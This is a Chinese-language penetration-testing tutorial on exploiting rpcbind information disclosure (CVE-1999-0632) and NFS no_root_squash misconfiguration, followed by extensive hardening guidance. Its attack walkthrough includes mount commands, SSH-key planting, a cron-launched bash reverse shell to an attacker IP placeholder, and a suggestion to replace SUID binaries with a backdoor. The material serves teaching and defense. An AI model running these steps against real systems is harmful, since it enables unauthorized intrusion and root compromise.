从rpcbind信息泄露到NFS提权:内网渗透中的经典攻击链剖析
1. 项目概述:为什么rpcbind漏洞至今仍值得警惕?
在网络安全领域,总有一些“老古董”级别的漏洞,它们年代久远,文档稀少,以至于很多新入行的渗透测试人员或安全研究员都对其知之甚少。rpcbind(历史上也叫portmap)相关的漏洞,特别是CVE-1999-0632,就是这样一个典型。乍一看,这是一个1999年的漏洞,距今已超过二十年,似乎早已被扫进历史的尘埃。但现实情况是,在针对内网、老旧系统或特定行业(如工控、物联网设备)的渗透测试中,你依然有很大概率会与它“不期而遇”。这个漏洞的标题常常被扫描器报告为“检测到远端rpcbind/portmap正在运行中”,看似只是一个信息泄露,实则可能成为攻击链中关键的一环。
我之所以想深入聊聊这个话题,是因为在一次针对某大型企业遗留系统的授权测试中,我们正是通过这个“古老”的入口,结合其他弱点,最终拿下了核心服务器的权限。整个过程充满了“考古”般的乐趣,也让我深刻体会到,安全防护不能只看“新潮”的零日漏洞,这些沉淀在系统深处的“活化石”,往往因为被长期忽视而更具危险性。本文的目的,就是带你重新审视rpcbind及其相关漏洞,从原理探测、工具使用到实战利用,完整走一遍攻击者可能采用的路径。这不仅是为了攻击,更是为了防御——只有知道攻击者会怎么用,你才能更好地知道该如何防。
2. rpcbind核心原理与漏洞本质解析
要利用一个漏洞,首先得理解它赖以存在的服务是什么。rpcbind是一个将RPC(远程过程调用)程序号映射到通用地址(通常是TCP/UDP端口)的服务。你可以把它想象成一个“电话总机”或“服务目录”。当某个RPC服务(比如NFS)启动时,它会向本机的rpcbind服务注册,告诉总机:“我是NFS服务,我的程序号是100003,我现在在TCP 2049端口上提供服务。”之后,当客户端想要访问NFS时,它并不知道NFS具体在哪个端口,它会先询问同一台主机上的rpcbind:“请问程序号100003的服务在哪里?”rpcbind查一下自己的登记簿,回复:“在TCP 2049端口。”客户端这才去连接2049端口。
2.1 CVE-1999-0632:它到底是不是一个“漏洞”?
这里有一个非常关键且容易混淆的点。CVE-1999-0632在NVD(国家漏洞数据库)中的描述非常简短:“rpcbind exposes information about services registered with it.” 翻译过来就是“rpcbind暴露了向其注册的服务信息”。严格来说,这更像是一个功能特性被滥用导致的信息泄露问题,而非一个传统的缓冲区溢出或代码执行漏洞。
它的风险在于:默认情况下,rpcbind服务(特别是旧版本)允许来自任何IP地址的查询。攻击者无需任何认证,就可以向目标主机的rpcbind服务(默认运行在TCP/UDP 111端口)发送一个请求,询问:“你这台机器上都运行了哪些RPC服务?它们都在哪些端口?”rpcbind会老老实实地把注册表里所有的信息(程序号、版本号、协议、端口号)全部返回。
注意:很多扫描器或文章会笼统地称其为“rpcbind漏洞”,但实际上,利用这个信息泄露进行后续攻击,往往需要结合其他RPC服务自身的漏洞(比如古老的
rpc.statd、rpc.mountd漏洞,或者NFS配置不当等)。CVE-1999-0632本身提供了“攻击地图”,而真正的“武器”是地图上标记的那些有问题的服务。
2.2 从信息泄露到实际危害的路径
单纯知道有哪些RPC服务,危害有限。但结合这些信息,攻击路径就清晰了:
- 服务发现与指纹识别:攻击者首先通过扫描发现111端口开放的rpcbind。通过查询,获得所有RPC服务列表,例如
nfs(程序号100003)、mountd(程序号100005)、status(程序号100024)等。 - 脆弱服务定位:在获得的列表中,寻找已知存在历史漏洞的RPC服务。例如,某些老版本
rpc.mountd可能存在缓冲区溢出漏洞(如CVE-1999-0002),或者rpc.statd服务容易遭受攻击。 - 配置不当利用:更常见的情况是,利用信息泄露发现的NFS(网络文件系统)服务。如果NFS服务器配置了不安全的共享规则(如
no_root_squash且允许任意IP访问),攻击者可以直接挂载其共享目录,并写入恶意文件(如SSH公钥、后门程序),从而获取权限。 - 内网横向移动:在一台边缘服务器上发现rpcbind信息泄露后,攻击者可能发现这台服务器还作为NFS客户端,挂载了内网其他重要服务器的共享目录。通过篡改或读取这些共享内容,攻击者可以实现向内网的穿透。
因此,整个利用链条可以概括为:探测rpcbind(信息泄露) -> 识别脆弱RPC服务 -> 利用该服务自身漏洞或配置缺陷 -> 获取权限或敏感数据。
3. 探测与信息收集实战操作
实战中,我们不会只依赖扫描器报告的一句话。我们需要手动验证并提取尽可能多的信息。以下是一些经典且有效的操作手法。
3.1 使用rpcinfo进行基础探测
rpcinfo是绝大多数Linux系统自带的RPC查询工具,是探测的“瑞士军刀”。
基础查询(针对目标IP):
rpcinfo -p 192.168.1.100这条命令会向目标主机(192.168.1.100)的portmap/rpcbind服务查询所有已注册的RPC程序。输出通常如下:
program vers proto port service 100000 4 tcp 111 portmapper 100000 3 tcp 111 portmapper 100000 2 tcp 111 portmapper 100000 4 udp 111 portmapper 100003 3 tcp 2049 nfs 100003 4 tcp 2049 nfs 100005 1 udp 20048 mountd 100005 3 udp 20048 mountd 100024 1 udp 45832 status从这个列表,我们可以清晰地看到:
- 程序号
100003是NFS,运行在TCP 2049端口。 - 程序号
100005是mountd,运行在UDP 20048端口。 - 程序号
100024是status,运行在一个动态端口(45832)上。
更精细的查询: 如果你想针对某个特定程序进行查询,可以使用:
rpcinfo -n 2049 -t 192.168.1.100 100003 3 # -n 指定端口,-t 指定TCP协议,查询目标IP上在2049端口运行的、程序号为100003、版本为3的服务。3.2 使用Nmap脚本进行深度扫描
Nmap的NSE(Nmap Scripting Engine)脚本库提供了更强大、更自动化的探测能力。
基础rpcbind信息枚举:
nmap -sV -p 111 --script rpcinfo 192.168.1.100这个脚本的效果类似于rpcinfo -p,但输出格式更规整,易于解析。
暴力枚举RPC程序: 对于一些老旧或非标系统,可能运行着未公开或自定义的RPC程序。Nmap的rpc-grind脚本可以尝试暴力枚举程序号。
nmap -p 111 --script rpc-grind --script-args rpc-grind.program=100000-200000 192.168.1.100注意:这种暴力枚举会产生大量网络流量,速度较慢,且可能触发安全设备的告警。仅在授权测试且其他方法无效时谨慎使用。
NFS专项探测: 既然NFS是常见的关联服务,我们可以直接针对NFS进行扫描。
nmap -p 111,2049 --script nfs* 192.168.1.100这条命令会运行所有名字以nfs开头的脚本,如nfs-ls(尝试列出NFS共享)、nfs-showmount(等价于showmount -e)等,可以快速评估NFS的配置安全性。
3.3 手动网络数据包分析
理解底层通信原理有助于调试和编写自己的工具。rpcbind查询本质上是一个RPC调用,调用的是程序号100000(即PORTMAP程序本身)的PMAPPROC_DUMP过程,该过程不需要参数,直接返回所有映射列表。
你可以使用tcpdump或Wireshark抓取rpcinfo -p命令产生的流量,观察其请求和响应数据包的结构。这对于理解RPC/XDR(外部数据表示)编码格式很有帮助,当你遇到非标准实现或需要编写漏洞利用代码时,这些知识至关重要。
4. 漏洞利用链构建与实战案例
探测到信息只是第一步,如何将其转化为实际的攻击入口?我们通过一个模拟的实战场景来串联整个流程。
场景假设:在一次内网渗透测试中,我们通过常规扫描发现一台IP为10.10.10.5的Linux服务器开放了111端口(rpcbind)和2049端口(NFS)。
4.1 第一步:信息收集与评估
# 1. 查询rpcbind服务 rpcinfo -p 10.10.10.5输出显示有nfs、mountd、nlockmgr等服务。其中mountd(程序号100005)运行在UDP 20048端口。
# 2. 探查NFS共享情况 showmount -e 10.10.10.5 # 如果showmount不可用,用nmap脚本替代 nmap -p 111,2049 --script nfs-showmount 10.10.10.5假设返回结果:
Export list for 10.10.10.5: /home/backup (everyone) /var/www/html *这暴露了两个关键信息:
/home/backup共享给所有主机(everyone)。/var/www/html共享给所有主机(*),这通常是Web根目录。
4.2 第二步:尝试挂载与权限测试
接下来,我们在攻击机(Kali Linux)上尝试挂载这些共享,查看其权限配置。
# 在攻击机上创建本地挂载点 mkdir /mnt/nfs_backup mkdir /mnt/nfs_webroot # 尝试挂载共享 mount -t nfs 10.10.10.5:/home/backup /mnt/nfs_backup mount -t nfs 10.10.10.5:/var/www/html /mnt/nfs_webroot如果挂载成功,说明目标NFS服务器允许来自我们IP的连接,这是第一个安全隐患。
关键检查点:no_root_squash挂载成功后,立即检查共享目录的权限,特别是是否存在no_root_squash配置隐患。
# 切换到root用户(在攻击机上) sudo su # 尝试在挂载的目录中创建一个属于root的文件 touch /mnt/nfs_backup/test_root_file ls -l /mnt/nfs_backup/test_root_file查看文件所有者。然后,在目标服务器上(假设通过其他方式获得了某个低权限shell),查看该文件:
ls -l /home/backup/test_root_file- 如果目标服务器上该文件的所有者也是
root,则意味着该NFS共享配置了no_root_squash。这是一个高危配置,它允许客户端以root身份创建的文件在服务器端也保持root权限。 - 如果目标服务器上文件所有者变成了
nobody或nfsnobody,则是相对安全的root_squash配置(默认)。
在我们的假设场景中,经检查发现/home/backup共享配置了no_root_squash。
4.3 第三步:利用no_root_squash提权
这是最经典的利用方式。由于我们可以以root身份向共享目录写入文件,并且服务器端承认这些文件的root所有权,我们就可以植入后门。
方法一:写入SSH公钥
- 在攻击机上生成SSH密钥对(如果还没有的话):
ssh-keygen -t rsa - 将公钥(
id_rsa.pub)的内容写入目标共享目录下的授权文件。通常需要写入目标用户的家目录下的.ssh/authorized_keys。但我们目前只知道共享目录是/home/backup,不确定是哪个用户。我们可以尝试寻找线索,或者直接利用no_root_squash写入root的授权文件。
# 在攻击机上,挂载点目录下操作 echo '你的公钥内容' >> /mnt/nfs_backup/authorized_keys # 然后,我们需要将这个文件移动到目标服务器root用户的.ssh目录下。 # 但这需要服务器端的路径。一个大胆的尝试是,假设/home/backup就是服务器上的路径,我们直接写入: echo '你的公钥内容' >> /mnt/nfs_backup/root_authorized_keys # 然后,通过其他途径(比如一个低权限Web Shell)尝试将这个文件移动到/root/.ssh/authorized_keys。方法二:写入计划任务(Cron)如果目标服务器以root身份运行cron,并且cron会执行特定目录下的脚本(如/etc/cron.hourly/),我们可以写入恶意脚本。
# 1. 在攻击机上创建反弹shell脚本 cat > /mnt/nfs_backup/exploit.sh << EOF #!/bin/bash bash -i >& /dev/tcp/你的攻击机IP/4444 0>&1 EOF chmod +x /mnt/nfs_backup/exploit.sh # 2. 写入计划任务。需要知道服务器上cron的路径。常见的是/etc/cron.d/。 # 假设我们写入一个自定义的cron任务文件。 cat > /mnt/nfs_backup/root_exploit.cron << EOF * * * * * root /home/backup/exploit.sh EOF # 然后,通过低权限shell将`root_exploit.cron`文件复制到`/etc/cron.d/`目录。方法三:直接覆盖系统二进制文件这是一种破坏性较大的方法,仅用于概念验证或最后手段。例如,替换/usr/bin/passwd等SUID二进制文件。
# 在攻击机上,编译一个恶意的后门程序,赋予其SUID权限。 # 然后将其复制到挂载目录,并通过低权限shell替换目标服务器上的某个关键SUID程序。重要警告:覆盖系统文件极易导致系统不稳定或崩溃,在真实渗透测试中必须获得明确授权,并评估对业务的影响。在CTF或实验环境中可尝试。
在我们的模拟案例中,我们采用方法一,并幸运地发现/home/backup目录下有一个id_rsa.bak文件,似乎是某个运维人员的备份私钥。我们直接使用该私钥成功以对应用户身份SSH登录了服务器,从而绕过了no_root_squash利用的复杂步骤。
4.4 第四步:权限提升与横向移动
通过SSH登录获得一个普通用户shell后,我们开始进行本地信息收集和提权。
# 查看当前用户权限 id sudo -l # 查看可以以root身份运行的命令 # 查找SUID/SGID文件 find / -perm -u=s -type f 2>/dev/null # 查找可写的敏感文件或目录 find / -writable -type d 2>/dev/null 2>/dev/null | grep -v proc | grep -v sys同时,我们检查从rpcbind获取的其他服务信息。例如,我们发现rpc.statd服务在运行。历史上,statd曾存在多个漏洞(如CVE-2000-0666)。我们可以搜索该版本的statd是否有公开的本地提权漏洞。
此外,我们还可以利用已获得的权限,从这台服务器上再次运行rpcinfo -p,查询内网其他主机,进行横向移动。因为这台服务器很可能与内网其他服务器存在NFS挂载或RPC通信。
5. 防御措施与安全加固指南
了解了攻击者的手法,防御就变得有针对性了。以下是从系统管理员角度出发的加固建议。
5.1 网络层访问控制
这是最有效的一层防御。
- 防火墙策略:除非绝对必要,否则应在边界防火墙和主机防火墙(如iptables, firewalld)上屏蔽对TCP/UDP 111端口的访问。只允许特定的、可信的客户端IP或网段访问rpcbind服务。例如,如果只有IP为
192.168.1.0/24的服务器集群需要互相进行RPC调用,那么只放行这个网段。# 示例:使用firewalld限制111端口访问 sudo firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="192.168.1.0/24" port protocol="tcp" port="111" accept' sudo firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="192.168.1.0/24" port protocol="udp" port="111" accept' sudo firewall-cmd --permanent --remove-port=111/tcp # 移除默认的开放规则 sudo firewall-cmd --permanent --remove-port=111/udp sudo firewall-cmd --reload - 禁用非必需服务:如果业务上不需要NFS、NIS等RPC服务,直接卸载或停止相关服务,并禁用rpcbind开机自启。
# 停止服务 sudo systemctl stop nfs-server rpcbind # 禁用开机启动 sudo systemctl disable nfs-server rpcbind # 卸载软件包(CentOS/RHEL) sudo yum remove nfs-utils rpcbind
5.2 rpcbind服务配置加固
如果业务必须使用RPC服务,则需对rpcbind本身进行配置。
- 使用
-h绑定特定IP:在启动rpcbind时,使用-h参数指定只监听在特定的内部网络接口上,而不是0.0.0.0。# 编辑systemd服务文件 /usr/lib/systemd/system/rpcbind.service # 在[Service]部分的ExecStart行修改为: ExecStart=/sbin/rpcbind -h 192.168.1.100 -w # 然后重启服务 sudo systemctl daemon-reload sudo systemctl restart rpcbind注意:并非所有发行版或版本的rpcbind都支持
-h参数,请先查阅man rpcbind确认。 - 利用
/etc/hosts.allow和/etc/hosts.deny:这是TCP Wrappers的配置,可以对基于主机名的访问进行控制(注意,容易被IP欺骗绕过)。
这表示拒绝所有,只允许# /etc/hosts.deny rpcbind: ALL # /etc/hosts.allow rpcbind: 192.168.1.0/255.255.255.0, localhost192.168.1.0/24网段和本机访问。
5.3 关联服务(如NFS)安全配置
加固rpcbind的同时,必须加固其关联的、真正提供业务功能的RPC服务。
- 最小化共享原则:NFS共享时,只共享必要的目录,给最小必要的权限。
- 禁止使用
no_root_squash:在NFS服务器配置文件/etc/exports中,绝对不要对不可信网络使用no_root_squash选项。使用默认的root_squash或更严格的all_squash。# 不安全的配置示例(严禁): /data *(rw,no_root_squash,sync) # 相对安全的配置: /data 192.168.1.0/24(rw,sync) # 指定IP段,使用默认的root_squash /public *(ro,all_squash,sync) # 对所有人只读,并将所有用户映射为匿名用户 - 使用更安全的替代方案:考虑使用SSHFS、Samba(配置强认证)或对象存储来替代NFS,特别是在跨不安全网络传输时。
5.4 安全监控与审计
- 日志监控:确保系统日志(
/var/log/messages,/var/log/syslog)记录了rpcbind和NFS的访问日志。监控异常的外部IP地址对111端口的连接尝试。 - 定期漏洞扫描:使用Nessus, OpenVAS等专业漏洞扫描器或内部脚本,定期对服务器进行扫描,检查是否意外开放了rpcbind等不必要的服务。
- 网络入侵检测:在IDS/IPS规则中,添加对异常RPC查询(如来自外网的
PMAPPROC_DUMP调用)的检测规则。
6. 高级利用技巧与疑难问题排查
在实际渗透测试中,情况往往比实验室环境复杂得多。这里分享一些进阶技巧和常见问题的解决方法。
6.1 绕过简单的IP限制
如果目标防火墙只允许特定IP段访问111端口,但你已经通过其他方式(如Web漏洞)在目标网络内部获得了一个立足点(跳板机)。你可以在这台跳板机上运行扫描和利用工具,因为从跳板机发起的流量属于“内网流量”,通常不受严格的边界防火墙限制。这就是经典的“横向移动”场景。
6.2 处理版本差异与兼容性问题
不同操作系统(Solaris, AIX, HP-UX, 各种Linux发行版)和不同版本的rpcbind/nfs-utils,其行为、默认配置和漏洞情况可能不同。
- Solaris:老版本Solaris的rpcbind可能响应方式略有不同,且其RPC服务程序号可能和Linux有差异。需要参考对应系统的文档。
- 非常老的系统:可能会遇到SunRPC而不是Portmap V2的情况,查询工具的参数可能需要调整。
rpcinfo的-b(广播)选项在某些旧网络环境下可能有用,但也会产生大量噪音。
技巧:在不确定时,使用nc或ncat手动构造最简单的RPC请求包,可以排除工具兼容性问题。一个简单的测试是向目标111端口发送一个空行或一个RPC NULL调用,看是否有响应。
6.3 当showmount被过滤或失效时
有时,目标服务器的mountd服务可能配置为不响应来自某些网络的showmount请求,或者网络中存在过滤。此时,可以尝试直接与NFS端口(2049)进行交互。
- 使用Nmap的
nfs-ls脚本:它不依赖mountd,而是直接与NFS协议对话来尝试列出共享。nmap -p 2049 --script nfs-ls --script-args nfs-ls.share='/假设的共享名' 10.10.10.5 - 手动挂载探测:写一个简单的脚本,尝试用常见的共享名(如
/home,/export,/share,/data)进行挂载。虽然效率低,但在特定场景下可能有效。
6.4 利用其他RPC服务漏洞
除了NFS配置不当,历史上其他RPC服务也存在远程代码执行漏洞。例如:
rpc.cmsd(Calendar Manager Service Daemon): CVE-1999-0696等。rpc.ttdbserver(ToolTalk Database Server): CVE-1999-0003等。rpc.statd: 多个溢出漏洞。
在通过rpcbind获取服务列表后,应立即根据程序号和版本号搜索对应的公开漏洞。Metasploit框架中就包含了大量这类古老但可能未修补的RPC漏洞利用模块。在授权测试中,可以尝试使用。
6.5 排查工具使用中的常见错误
rpcinfo: can't contact portmapper: RPC: Remote system error - Connection refused这通常意味着目标111端口被防火墙完全阻止,或者rpcbind服务没有运行。先用nmap -sS -p 111确认端口状态。rpcinfo: can't contact portmapper: RPC: Timed out网络延迟大或存在丢包,或者目标主机处理缓慢。尝试增加超时时间(如果工具支持),或从网络质量更好的节点进行测试。Program not registered当你用rpcinfo查询一个具体的程序号/版本时返回此错误,说明该服务确实没有在rpcbind注册,或者注册的版本号不对。用rpcinfo -p查看所有注册信息进行核对。挂载NFS时提示
access denied by server while mounting这表示客户端IP不在NFS服务器/etc/exports文件定义的允许列表中。这是正常的访问控制,不是错误。你需要找到允许访问的IP段,或者利用其他漏洞(如服务器端配置错误、已控跳板机)来满足这个条件。
7. 从攻击者视角看防御:如何让系统“隐身”
最后,我们换位思考,作为一个攻击者,什么样的系统最难通过rpcbind这条路径突破?答案是一个“隐身”的系统。
- 服务最小化:这是黄金法则。不安装
nfs-utils、rpcbind等软件包。使用netstat -tulnp或ss -tulnp定期检查,确保111端口没有监听。 - 网络分区与微隔离:即使内网需要NFS,也应将存储网络与业务网络、管理网络严格分离。使用VLAN、防火墙策略确保只有特定的存储客户端能访问NFS服务器的111和2049端口。
- 使用现代替代协议:对于新的项目,优先考虑使用基于SSH的SFTP/SSHFS,或者使用带有Kerberos认证的NFSv4。NFSv4不再依赖单独的
rpcbind和mountd服务,它只使用一个已知的端口(2049),并且支持更强的认证机制,安全性比NFSv3有显著提升。 - 主动欺骗与蜜罐:在非生产环境,可以部署一个rpcbind蜜罐,记录所有查询请求的来源和内容,用于威胁情报收集和攻击预警。
归根结底,应对像CVE-1999-0632这类“信息泄露”型的老漏洞,最有效的策略不是复杂的缓解措施,而是彻底的“断舍离”。关闭不需要的服务,隔离必要的网络,升级到更安全的协议。安全往往就藏在这些基础但严格执行的运维规范之中。每次我看到扫描报告里出现“检测到远端rpcbind正在运行中”,我首先想到的不是兴奋,而是为那台服务器背后的管理员感到一丝担忧——又一个可能被遗忘的角落,正在向整个网络低声诉说着它的秘密。